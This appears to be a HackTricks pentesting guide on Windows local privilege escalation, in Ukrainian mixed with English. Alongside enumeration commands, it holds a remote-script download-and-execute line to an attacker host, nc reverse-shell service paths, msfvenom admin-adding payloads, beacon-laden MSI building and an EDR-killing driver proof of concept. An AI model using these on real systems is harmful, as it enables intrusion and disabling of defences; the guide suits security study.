Локальне підвищення привілеїв у Windows

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks

Найкращий tool для пошуку векторів local privilege escalation у Windows: WinPEAS

Початкова теорія Windows

Access Tokens

Якщо ви не знаєте, що таке Windows Access Tokens, прочитайте наступну сторінку перед тим, як продовжити:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Перевірте наступну сторінку для отримання додаткової інформації про ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Якщо ви не знаєте, що таке integrity levels у Windows, вам слід прочитати наступну сторінку перед тим, як продовжити:

Integrity Levels

Windows Security Controls

У Windows є різні речі, які можуть перешкодити вам перелічити систему, запускати executables або навіть виявити вашу активність. Вам слід прочитати наступну сторінку та перелічити всі ці defenses mechanisms перед початком enumeration для privilege escalation:

Windows Security Controls

Admin Protection / UIAccess silent elevation

Процеси UIAccess, запущені через RAiLaunchAdminProcess, можна зловживати, щоб досягти High IL без prompt, коли обходяться перевірки AppInfo secure-path. Перевірте окремий workflow обходу UIAccess/Admin Protection тут:

Uiaccess Admin Protection Bypass

Поширення registry accessibility Secure Desktop можна зловживати для довільного SYSTEM registry write (RegPwn):

Secure Desktop Accessibility Registry Propagation LPE (RegPwn)

System Info

Version info enumeration

Перевірте, чи має версія Windows будь-яку відому vulnerability (також перевірте applied patches).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

Цей site зручний для пошуку детальної інформації про вразливості Microsoft security. Ця database містить понад 4,700 security vulnerabilities, показуючи massive attack surface, який створює Windows environment.

On the system

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas has watson embedded)

Locally with system information

Github repos of exploits:

Environment

Any credential/Juicy info saved in the env variables?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Історія PowerShell

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Файли PowerShell Transcript

Ви можете дізнатися, як увімкнути це в https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Деталі виконання PowerShell pipeline записуються, охоплюючи виконані команди, виклики команд і частини скриптів. Однак повні деталі виконання та результати виводу можуть не зберігатися.

Щоб увімкнути це, дотримуйтеся інструкцій у розділі “Transcript files” документації, обираючи “Module Logging” замість “Powershell Transcription”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Щоб переглянути останні 15 подій із PowersShell logs, можна виконати:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Повний запис активності та повного вмісту виконання скрипта захоплюється, забезпечуючи документування кожного блоку коду під час його виконання. Цей процес зберігає повний audit trail кожної дії, що є цінним для forensics та аналізу malicious behavior. Завдяки документуванню всієї активності в момент виконання надаються детальні insights у процес.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Події журналювання для Script Block можна знайти у Windows Event Viewer за шляхом: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Щоб переглянути останні 20 подій, можна використати:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Налаштування Internet

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Диски

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Ви можете скомпрометувати систему, якщо оновлення запитуються не через httpS, а через http.

Почніть із перевірки, чи мережа використовує non-SSL WSUS update, запустивши таку команду в cmd:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Або наступне в PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Якщо ви отримаєте відповідь на кшталт однієї з цих:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer or Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" is equals to 1.

Then, it is exploitable. If the last registry is equals to 0, then, the WSUS entry will be ignored.

In orther to exploit this vulnerabilities you can use tools like: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject ‘fake’ updates into non-SSL WSUS traffic.

Read the research here:

WSUS CVE-2020-1013

Read the complete report here.
Basically, this is the flaw that this bug exploits:

If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.

Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.

You can exploit this vulnerability using the tool WSUSpicious (once it’s liberated).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here:

Abusing Auto Updaters And Ipc

Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)

Veeam B&R < 11.0.1.1261 exposes a localhost service on TCP/9401 that processes attacker-controlled messages, allowing arbitrary commands as NT AUTHORITY\SYSTEM.

  • Recon: confirm the listener and version, e.g., netstat -ano | findstr 9401 and (Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion.
  • Exploit: place a PoC such as VeeamHax.exe with the required Veeam DLLs in the same directory, then trigger a SYSTEM payload over the local socket:
.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""

Сервіс виконує команду як SYSTEM.

KrbRelayUp

Існує вразливість local privilege escalation у Windows domain-середовищах за певних умов. Ці умови включають середовища, де LDAP signing is not enforced, користувачі мають self-rights, що дозволяє їм налаштовувати Resource-Based Constrained Delegation (RBCD), а також можливість для користувачів створювати комп’ютери в межах domain. Важливо зазначити, що ці requirements виконуються за default settings.

Знайдіть exploit in https://github.com/Dec0ne/KrbRelayUp

Для отримання додаткової інформації про потік атаки див. https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Якщо ці 2 registers увімкнені (значення 0x1), тоді користувачі з будь-яким privilege можуть install (execute) *.msi файли як NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Payloads Metasploit

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

If you have a meterpreter session you can automate this technique using the module exploit/windows/local/always_install_elevated

PowerUP

Використайте команду Write-UserAddMSI з power-up, щоб створити в поточному каталозі Windows MSI binary для підвищення привілеїв. Цей script записує заздалегідь скомпільований MSI installer, який запитує додавання user/group (тому вам знадобиться GIU access):

Write-UserAddMSI

Просто виконайте створений бінарний файл, щоб підвищити привілеї.

MSI Wrapper

Прочитайте цей посібник, щоб дізнатися, як створити MSI wrapper за допомогою цих інструментів. Зверніть увагу, що ви можете wrap “.bat” файл, якщо ви просто хочете виконати command lines

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Generate за допомогою Cobalt Strike або Metasploit new Windows EXE TCP payload у C:\privesc\beacon.exe
  • Відкрийте Visual Studio, виберіть Create a new project і введіть “installer” у поле пошуку. Виберіть проєкт Setup Wizard і натисніть Next.
  • Дайте проєкту назву, наприклад AlwaysPrivesc, використайте C:\privesc як розташування, виберіть place solution and project in the same directory, і натисніть Create.
  • Продовжуйте натискати Next, доки не дійдете до кроку 3 із 4 (choose files to include). Натисніть Add і виберіть Beacon payload, який ви щойно згенерували. Потім натисніть Finish.
  • Виділіть проєкт AlwaysPrivesc у Solution Explorer і в Properties змініть TargetPlatform з x86 на x64.
  • Є й інші властивості, які ви можете змінити, наприклад Author і Manufacturer, щоб встановлений застосунок виглядав більш легітимно.
  • Клацніть правою кнопкою миші на проєкті та виберіть View > Custom Actions.
  • Клацніть правою кнопкою миші Install і виберіть Add Custom Action.
  • Двічі клацніть Application Folder, виберіть ваш файл beacon.exe і натисніть OK. Це гарантує, що beacon payload буде виконано одразу після запуску інсталятора.
  • У Custom Action Properties змініть Run64Bit на True.
  • Нарешті, build it.
  • Якщо з’являється попередження File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', переконайтеся, що ви встановили платформу на x64.

MSI Installation

Щоб виконати installation шкідливого файлу .msi у background:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Щоб експлуатувати цю вразливість, ви можете використати: exploit/windows/local/always_install_elevated

Antivirus and Detectors

Audit Settings

Ці налаштування вирішують, що буде logged, тому вам слід звернути увагу

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, цікаво знати, куди надсилаються логи

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS призначений для керування паролями local Administrator, забезпечуючи, щоб кожен пароль був унікальним, випадково згенерованим і регулярно оновлюваним на комп’ютерах, приєднаних до domain. Ці паролі безпечно зберігаються в Active Directory і можуть бути доступні лише користувачам, яким надано достатні permissions через ACLs, що дозволяє їм переглядати local admin passwords, якщо це authorized.

LAPS

WDigest

If active, plain-text passwords are stored in LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

Захист LSA

Починаючи з Windows 8.1, Microsoft запровадила посилений захист для Local Security Authority (LSA), щоб блокувати спроби недовірених процесів читати її пам’ять або впроваджувати код, додатково захищаючи систему.
Більше інформації про LSA Protection тут.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credential Guard

Credential Guard було представлено у Windows 10. Його призначення — захищати облікові дані, збережені на пристрої, від загроз на кшталт атак pass-the-hash.| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Облікові дані в кеші

Доменні облікові дані автентифікуються Local Security Authority (LSA) і використовуються компонентами операційної системи. Коли дані входу користувача автентифікуються зареєстрованим пакетом безпеки, зазвичай створюються доменні облікові дані для користувача.
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Users & Groups

Перелічення Users & Groups

Ви повинні перевірити, чи мають будь-які з group, до яких ви належите, цікаві permissions

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Привілейовані групи

Якщо ви належите до якоїсь привілейованої групи, ви можете підвищити привілеї. Дізнайтеся про привілейовані групи та про те, як зловживати ними для підвищення привілеїв, тут:

Privileged Groups

Маніпуляція token

Дізнайтеся більше про те, що таке token, на цій сторінці: Windows Tokens.
Перевірте наступну сторінку, щоб дізнатися про цікаві tokens та про те, як зловживати ними:

Abusing Tokens

Logged users / Sessions

qwinsta
klist sessions

Домашні папки

dir C:\Users
Get-ChildItem C:\Users

Політика паролів

net accounts

Отримати вміст буфера обміну

powershell -command "Get-Clipboard"

Running Processes

File and Folder Permissions

Перш за все, перелічуючи процеси, перевірте наявність паролів у командному рядку процесу.
Перевірте, чи можете ви перезаписати якийсь запущений binary або чи маєте права на запис у папку з binary, щоб використати можливі DLL Hijacking attacks:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges.

Перевірка прав доступу до бінарних файлів процесів

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Перевірка дозволів для папок із бінарними файлами процесів (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Ви можете створити дамп пам’яті запущеного процесу за допомогою procdump із sysinternals. Сервіси на кшталт FTP мають credentials у відкритому тексті в пам’яті, спробуйте зняти дамп пам’яті та прочитати credentials.

procdump.exe -accepteula -ma <proc_name_tasklist>

Небезпечні GUI apps

Applications, що працюють як SYSTEM, можуть дозволити user запустити CMD або переглядати каталоги.

Приклад: “Windows Help and Support” (Windows + F1), search for “command prompt”, click on “Click to open Command Prompt”

Services

Service Triggers дають змогу Windows запускати service, коли відбуваються певні умови (активність named pipe/RPC endpoint, ETW events, доступність IP, поява device, оновлення GPO тощо). Навіть без прав SERVICE_START часто можна запустити privileged services, спровокувавши їхні triggers. Див. техніки enumeration та activation тут:

Service Triggers

Отримати список services:

net start
wmic service list brief
sc query
Get-Service

Дозволи

Ви можете використовувати sc, щоб отримати інформацію про службу

sc qc <service_name>

Рекомендується мати бінарний файл accesschk з Sysinternals, щоб перевірити необхідний рівень привілеїв для кожної служби.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Рекомендується перевірити, чи можуть “Authenticated Users” змінювати будь-яку службу:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Ви можете завантажити accesschk.exe для XP звідси

Enable service

Якщо у вас виникає ця помилка (наприклад, з SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Ви можете увімкнути його за допомогою

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Врахуйте, що service upnphost залежить від SSDPSRV для роботи (для XP SP1)

Інший workaround цієї проблеми — запустити:

sc.exe config usosvc start= auto

Modify service binary path

У сценарії, коли група “Authenticated users” має SERVICE_ALL_ACCESS для служби, можливе змінення виконуваного бінарного файлу служби. Щоб змінити й виконати sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Перезапустити service

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Привілеї можуть бути підвищені через різні дозволи:

  • SERVICE_CHANGE_CONFIG: Дозволяє переналаштування бінарного файлу служби.
  • WRITE_DAC: Дає змогу переналаштовувати дозволи, що веде до можливості змінювати конфігурацію служби.
  • WRITE_OWNER: Дозволяє отримання права власності та переналаштування дозволів.
  • GENERIC_WRITE: Успадковує можливість змінювати конфігурацію служби.
  • GENERIC_ALL: Також успадковує можливість змінювати конфігурацію служби.

Для виявлення та експлуатації цієї вразливості можна використати exploit/windows/local/service_permissions.

Weak permissions on service binaries

Перевірте, чи можете ви змінити бінарний файл, який виконується службою або чи маєте ви права на запис у папку, де розташований цей бінарний файл (DLL Hijacking).
Ви можете отримати кожен бінарний файл, який виконується службою, за допомогою wmic (не в system32) і перевірити свої дозволи за допомогою icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Також можна використовувати sc та icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Дозволи на зміну реєстру сервісів

Вам слід перевірити, чи можете ви змінювати будь-який реєстр сервісів.
Ви можете перевірити свої дозволи щодо реєстру сервісів, виконавши:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Слід перевірити, чи Authenticated Users або NT AUTHORITY\INTERACTIVE мають дозволи FullControl. Якщо так, виконуваний службою binary можна змінити.

Щоб змінити Path виконуваного binary:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Деякі функції Windows Accessibility створюють per-user ключі ATConfig, які пізніше копіюються процесом SYSTEM у HKLM session key. Registry symbolic link race може перенаправити цей привілейований запис у будь-який HKLM path, надаючи primitive arbitrary HKLM value write.

Key locations (example: On-Screen Keyboard osk):

  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs lists installed accessibility features.
  • HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\<feature> stores user-controlled configuration.
  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session<session id>\ATConfig\<feature> is created during logon/secure-desktop transitions and is writable by the user.

Abuse flow (CVE-2026-24291 / ATConfig):

  1. Populate the HKCU ATConfig value you want to be written by SYSTEM.
  2. Trigger the secure-desktop copy (e.g., LockWorkstation), which starts the AT broker flow.
  3. Win the race by placing an oplock on C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskmenu.xml; when the oplock fires, replace the HKLM Session ATConfig key with a registry link to a protected HKLM target.
  4. SYSTEM writes the attacker-chosen value to the redirected HKLM path.

Once you have arbitrary HKLM value write, pivot to LPE by overwriting service configuration values:

  • HKLM\SYSTEM\CurrentControlSet\Services\<svc>\ImagePath (EXE/command line)
  • HKLM\SYSTEM\CurrentControlSet\Services\<svc>\Parameters\ServiceDll (DLL)

Pick a service that a normal user can start (e.g., msiserver) and trigger it after the write. Note: the public exploit implementation locks the workstation as part of the race.

Example tooling (RegPwn BOF / standalone):

beacon> regpwn C:\payload.exe SYSTEM\CurrentControlSet\Services\msiserver ImagePath
beacon> regpwn C:\evil.dll SYSTEM\CurrentControlSet\Services\SomeService\Parameters ServiceDll
net start msiserver

Services registry AppendData/AddSubdirectory permissions

Якщо у вас є цей дозвіл над registry, це означає, що ви можете створювати підреєстри з нього. У випадку Windows services цього достатньо для виконання довільного коду:

AppendData/AddSubdirectory permission over service registry

Unquoted Service Paths

If the path to an executable is not inside quotes, Windows will try to execute every ending before a space.

For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Список усіх unquoted service paths, за винятком тих, що належать вбудованим службам Windows:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Ви можете виявити та експлуатувати цю вразливість за допомогою metasploit: exploit/windows/local/trusted\_service\_path Ви можете вручну створити service binary за допомогою metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Recovery Actions

Windows дозволяє користувачам вказувати дії, які виконуватимуться, якщо service завершується з помилкою. Цю функцію можна налаштувати так, щоб вона вказувала на binary. Якщо цей binary можна замінити, privilege escalation може бути можливою. Більше деталей можна знайти в official documentation.

Applications

Installed Applications

Перевірте permissions of the binaries (можливо, ви можете перезаписати один із них і підвищити privileges) та folders (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Права на запис

Перевірте, чи можете ви змінити якийсь config file, щоб прочитати якийсь special file, або чи можете ви змінити якийсь binary, який буде виконано під обліковим записом Administrator (schedtasks).

Спосіб знайти weak folder/files permissions у system такий:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Notepad++ plugin autoload persistence/execution

Notepad++ автозавантажує будь-який plugin DLL у своїх підпапках plugins. Якщо присутня portable/copy install із правом запису, додавання malicious plugin дає автоматичне code execution всередині notepad++.exe під час кожного запуску (включно з DllMain і plugin callbacks).

Notepad Plus Plus Plugin Autoload Persistence

Run at startup

Перевірте, чи можете ви перезаписати якийсь registry або binary, який буде виконаний іншим користувачем.
Прочитайте наступну сторінку, щоб дізнатися про цікаві autoruns locations to escalate privileges:

Privilege Escalation with Autoruns

Drivers

Шукайте можливі third party weird/vulnerable drivers

driverquery
driverquery.exe /fo table
driverquery /SI

Якщо драйвер надає довільний primitive kernel read/write (це часто трапляється в погано спроєктованих IOCTL handlers), ви можете підвищити привілеї, безпосередньо вкравши SYSTEM token з kernel memory. Дивіться покрокову technique тут:

Arbitrary Kernel Rw Token Theft

Для race-condition bugs, де вразливий виклик відкриває шлях Object Manager, контрольований attacker’ом, навмисне сповільнення lookup (за допомогою компонентів максимальної довжини або глибоких directory chains) може розтягнути вікно з мікросекунд до десятків мікросекунд:

Kernel Race Condition Object Manager Slowdown

Registry hive memory corruption primitives

Сучасні hive vulnerabilities дають змогу groom deterministic layouts, зловживати writable HKLM/HKU descendants і перетворювати metadata corruption на kernel paged-pool overflows без custom driver. Дізнайтеся повний chain тут:

Windows Registry Hive Exploitation

Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)

Деякі підписані сторонні драйвери створюють свій device object із сильним SDDL через IoCreateDeviceSecure, але забувають встановити FILE_DEVICE_SECURE_OPEN у DeviceCharacteristics. Без цього прапорця secure DACL не застосовується, коли до device звертаються через path, що містить додатковий компонент, дозволяючи будь-якому непривілейованому користувачу отримати handle, використовуючи namespace path на кшталт:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (з реального кейсу)

Щойно користувач може відкрити device, privileged IOCTLs, які надає driver, можна abuse для LPE і tampering. Приклади можливостей, спостережених у wild:

  • Повернення handle з повним доступом до arbitrary processes (token theft / SYSTEM shell через DuplicateTokenEx/CreateProcessAsUser).
  • Без обмежень raw disk read/write (offline tampering, boot-time persistence tricks).
  • Завершення arbitrary processes, включно з Protected Process/Light (PP/PPL), що дає змогу AV/EDR kill із user land через kernel.

Мінімальний PoC pattern (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Mitigations for developers

  • Завжди встановлюйте FILE_DEVICE_SECURE_OPEN під час створення device objects, які мають бути обмежені DACL.
  • Перевіряйте caller context для привілейованих операцій. Додайте перевірки PP/PPL перед дозволом process termination або повернення handle.
  • Обмежуйте IOCTLs (access masks, METHOD_*, input validation) і розгляньте brokered models замість прямих kernel privileges.

Detection ideas for defenders

  • Моніторте user-mode відкриття підозрілих device names (наприклад, \ .\amsdk*) і конкретні послідовності IOCTL, що вказують на abuse.
